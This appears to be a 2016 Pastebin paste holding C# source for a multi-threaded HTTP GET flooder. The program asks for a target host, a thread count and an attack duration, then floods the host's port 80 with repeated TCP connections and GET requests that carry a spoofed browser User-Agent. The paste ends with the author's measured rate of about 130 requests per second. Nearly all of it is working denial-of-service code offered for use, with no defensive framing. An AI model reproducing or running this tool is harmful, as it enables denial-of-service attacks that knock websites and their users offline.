Kyxrecon

multi threads http get flooder using tcp socket

Jul 2nd, 2016
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.56 KB | None | 0 0
  1. multi threads http get flooder using tcp socket
  2. Kyxrecon
  3.  
  4. Code:
  5. using System.Threading;
  6. using System.Net;
  7. using System.Net.Sockets;
  8.  
  9. class Program
  10. {
  11. static bool run = true;
  12. static string GETrequest = "";
  13. static string host = "";
  14. static string hostt = "";
  15. static int counter = 0;
  16. static int threads = 0;
  17. static int ttm = 0;
  18. static int endttm = 0;
  19. static void Main(string[] args)
  20. {
  21. Console.Title = "HTTP Flooder";
  22. Console.ForegroundColor = ConsoleColor.White;
  23. Console.WriteLine("-- MultiThreads HTTP Flooder by SpaieN --\n");
  24. Console.Write("Host ( E.g: google.com ) : ");
  25. host = Console.ReadLine();
  26. hostt = Dns.GetHostAddresses(host)[0].ToString();
  27. GETrequest = "GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: keep-alive\r\nAccept: text/html\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\r\n\r\n";
  28.  
  29. Console.Write("\nProgram Threads ( 5 <> 5000 ) : ");
  30. threads = int.Parse(Console.ReadLine());
  31.  
  32. Console.Write("\nAttack time-seconds : ");
  33. int atm = int.Parse(Console.ReadLine());
  34. endttm = atm;
  35.  
  36. Console.WriteLine("\nbuilding program Threads");
  37. for (int i = 0; i <= threads; i++)
  38. {
  39. new Thread(new ThreadStart(HTTPRequest)).Start();
  40. }
  41. new Thread(() => TimeCounter(atm)).Start();
  42. Console.WriteLine("#{0} Threads loaded", threads);
  43. Thread.Sleep(2000);
  44.  
  45. while (run)
  46. {
  47. Thread.Sleep(30);
  48. Console.Clear();
  49. Console.WriteLine("#{0} HTTP Requests sent", counter);
  50. Console.WriteLine("#{0} Seconds for closing", endttm);
  51. }
  52.  
  53. }
  54.  
  55. static void HTTPRequest()
  56. {
  57. try
  58. {
  59. while (true)
  60. {
  61. Thread.Sleep(10);
  62. Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  63. socket.Connect(hostt, 80);
  64. socket.Send(Encoding.ASCII.GetBytes(GETrequest));
  65. socket.Close();
  66. counter++;
  67. }
  68. }
  69.  
  70. catch { }
  71. }
  72.  
  73. static void TimeCounter(int tt)
  74. {
  75. try
  76. {
  77. while (true)
  78. {
  79. Thread.Sleep(950);
  80. ttm++;
  81. endttm--;
  82. if (ttm >= tt) // program closing
  83. {
  84. run = false;
  85. Thread.Sleep(500);
  86. Environment.Exit(0);
  87. }
  88. }
  89. }
  90.  
  91. catch { }
  92. }
  93. }
  94.  
  95. ---------------------------
  96. my dstat result:
  97. 200 Threads & 50MB Internet speed = 130 Requests / sec
Advertisement
Add Comment
Please, Sign In to add comment